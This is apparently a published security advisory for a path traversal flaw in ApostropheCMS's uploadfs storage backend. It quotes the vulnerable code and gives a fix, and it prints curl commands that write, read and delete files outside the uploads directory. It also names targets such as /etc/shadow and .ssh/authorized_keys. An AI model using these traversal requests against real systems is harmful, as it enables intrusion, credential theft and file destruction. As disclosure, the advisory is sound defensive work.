GHSA-gmfx-5g6x-rr72

ApostropheCMS: Path traversal in uploadfs

En bref

Publiée
Mise à jour
CVE
CVE-2026-113651
CVSS_V3
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N

Description

## Summary The `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem. --- ## Details ### Root Cause `packages/uploadfs/uploadfs.js:652-655` https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655 ```javascript function prefixPath(path) { // Resolve any double // that results from the prefix return (self.prefix + path).replace(/\/\//g, '/'); } ``` `packages/uploadfs/lib/storage/local.js` https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108 ```javascript copyIn: function(localPath, path, options, callback) { const uploadPath = uploadsPath + path; // [VULNERABLE] return copyFile(localPath, uploadPath, callback); }, streamOut: function(path, options) { return fs.createReadStream(uploadsPath + path); // [VULNERABLE] }, remove: function(path, callback) { const uploadPath = uploadsPath + path; // [VULNERABLE] fs.unlink(uploadPath, callback); ``` - `prefixPath()` does **not** normalize paths or reject `../`. - The local backend concatenates the path directly into the filesystem call. - Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`. --- ## Proof of Concept (PoC) Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk ### Build and run ```bash docker load < apostrophe-uploadfs-poc.tar docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc python3 exploit.py ``` ### Expected output ```text [UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt [READ] Status: 200| Body: You have been pwned! [+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal. ``` <img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" /> ### Manual reproduction ```bash # Write outside uploads directory curl -X POST http://localhost:3000/upload \ -F "path=../../../tmp/backdoor.txt" \ -F "file=@-;filename=backdoor.txt" <<< "malicious content" # Read it back curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt" # Delete it curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt" ``` <img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" /> --- ## Impact | Capability | Risk | |------------|------| | **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** | | **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials | | **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** | --- ## Remediation Add path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation: ```javascript const path = require('path'); function safePath(base, target) { const resolved = path.resolve(base, target); if (!resolved.startsWith(path.resolve(base) + path.sep)) { throw new Error('Path traversal blocked: target is outside the intended directory'); } return resolved; } ```

Paquets affectés

PaquetVersions
npm · uploadfsintroduced 0, fixed 1.28.0

Références

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database